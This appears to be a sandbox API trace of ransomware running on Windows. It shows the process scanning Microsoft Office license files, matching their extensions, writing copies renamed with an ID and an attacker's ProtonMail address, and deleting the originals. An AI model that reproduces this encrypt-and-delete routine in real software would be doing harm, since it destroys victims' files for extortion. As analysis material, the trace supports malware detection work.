	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString=".1cd") returned 4
	[0198.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString=".jpg") returned 4
	[0198.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString=".doc") returned 4
	[0198.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".docx") returned 5
	[0198.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.406] lstrlenW (lpString=".pdf") returned 4
	[0198.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".xls") returned 4
	[0198.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".xlsx") returned 5
	[0198.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.406] lstrlenW (lpString=".ppt") returned 4
	[0198.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString=".zip") returned 4
	[0198.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.407] lstrlenW (lpString=".rar") returned 4
	[0198.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.407] lstrlenW (lpString=".bz2") returned 4
	[0198.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.407] lstrlenW (lpString=".7z") returned 3
	[0198.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.407] lstrlenW (lpString=".dbf") returned 4
	[0198.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.407] lstrlenW (lpString=".1cd") returned 4
	[0198.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.407] lstrlenW (lpString=".jpg") returned 4
	[0198.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.407] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.407] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29
	[0198.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.408] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11167) returned 1
	[0198.408] CloseHandle (hObject=0x5d8) returned 1
	[0198.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220
	[0198.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.409] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.409] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.410] GetLastError () returned 0x0
	[0198.410] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0198.411] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0198.412] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.413] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0198.413] SetEndOfFile (hFile=0x580) returned 1
	[0198.413] CloseHandle (hObject=0x580) returned 1
	[0198.413] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.413] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.416] CloseHandle (hObject=0x5d8) returned 1
	[0198.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1
	[0198.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.417] lstrlenW (lpString=".doc") returned 4
	[0198.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.417] lstrlenW (lpString=".docx") returned 5
	[0198.417] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.418] lstrlenW (lpString=".pdf") returned 4
	[0198.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString=".xls") returned 4
	[0198.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString=".xlsx") returned 5
	[0198.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.418] lstrlenW (lpString=".ppt") returned 4
	[0198.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString=".zip") returned 4
	[0198.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString=".rar") returned 4
	[0198.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString=".bz2") returned 4
	[0198.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString=".7z") returned 3
	[0198.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString=".dbf") returned 4
	[0198.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString=".1cd") returned 4
	[0198.418] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString=".jpg") returned 4
	[0198.418] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.418] lstrlenW (lpString=".doc") returned 4
	[0198.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".docx") returned 5
	[0198.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.419] lstrlenW (lpString=".pdf") returned 4
	[0198.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".xls") returned 4
	[0198.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".xlsx") returned 5
	[0198.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.419] lstrlenW (lpString=".ppt") returned 4
	[0198.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.419] lstrlenW (lpString=".zip") returned 4
	[0198.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".rar") returned 4
	[0198.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".bz2") returned 4
	[0198.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString=".7z") returned 3
	[0198.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.419] lstrlenW (lpString=".dbf") returned 4
	[0198.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.419] lstrlenW (lpString=".1cd") returned 4
	[0198.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0198.419] lstrlenW (lpString=".jpg") returned 4
	[0198.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.419] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.420] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30
	[0198.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.420] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=32361) returned 1
	[0198.420] CloseHandle (hObject=0x5d8) returned 1
	[0198.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220
	[0198.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.421] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.421] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.422] GetLastError () returned 0x0
	[0198.422] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x7e69, lpOverlapped=0x0) returned 1
	[0198.569] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0198.570] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.570] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1
	[0198.570] SetEndOfFile (hFile=0x580) returned 1
	[0198.570] CloseHandle (hObject=0x580) returned 1
	[0198.571] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.571] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.577] CloseHandle (hObject=0x5d8) returned 1
	[0198.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1
	[0198.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.582] lstrlenW (lpString=".doc") returned 4
	[0198.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.582] lstrlenW (lpString=".docx") returned 5
	[0198.583] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.583] lstrlenW (lpString=".pdf") returned 4
	[0198.583] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString=".xls") returned 4
	[0198.583] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString=".xlsx") returned 5
	[0198.583] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.583] lstrlenW (lpString=".ppt") returned 4
	[0198.583] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString=".zip") returned 4
	[0198.583] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString=".rar") returned 4
	[0198.583] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString=".bz2") returned 4
	[0198.583] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString=".7z") returned 3
	[0198.583] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString=".dbf") returned 4
	[0198.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString=".1cd") returned 4
	[0198.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString=".jpg") returned 4
	[0198.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.583] lstrlenW (lpString=".doc") returned 4
	[0198.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".docx") returned 5
	[0198.584] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.584] lstrlenW (lpString=".pdf") returned 4
	[0198.584] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".xls") returned 4
	[0198.584] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".xlsx") returned 5
	[0198.584] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.584] lstrlenW (lpString=".ppt") returned 4
	[0198.584] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.584] lstrlenW (lpString=".zip") returned 4
	[0198.584] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".rar") returned 4
	[0198.584] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".bz2") returned 4
	[0198.584] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString=".7z") returned 3
	[0198.584] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.584] lstrlenW (lpString=".dbf") returned 4
	[0198.584] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.584] lstrlenW (lpString=".1cd") returned 4
	[0198.584] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0198.584] lstrlenW (lpString=".jpg") returned 4
	[0198.584] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.585] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.585] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28
	[0198.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.585] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11591) returned 1
	[0198.585] CloseHandle (hObject=0x5d8) returned 1
	[0198.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220
	[0198.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.586] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.586] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.587] GetLastError () returned 0x0
	[0198.587] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0198.589] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0198.590] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.590] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0198.590] SetEndOfFile (hFile=0x580) returned 1
	[0198.590] CloseHandle (hObject=0x580) returned 1
	[0198.590] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.590] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.593] CloseHandle (hObject=0x5d8) returned 1
	[0198.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1
	[0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.594] lstrlenW (lpString=".doc") returned 4
	[0198.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.594] lstrlenW (lpString=".docx") returned 5
	[0198.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.594] lstrlenW (lpString=".pdf") returned 4
	[0198.594] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.594] lstrlenW (lpString=".xls") returned 4
	[0198.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.594] lstrlenW (lpString=".xlsx") returned 5
	[0198.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.594] lstrlenW (lpString=".ppt") returned 4
	[0198.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString=".zip") returned 4
	[0198.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString=".rar") returned 4
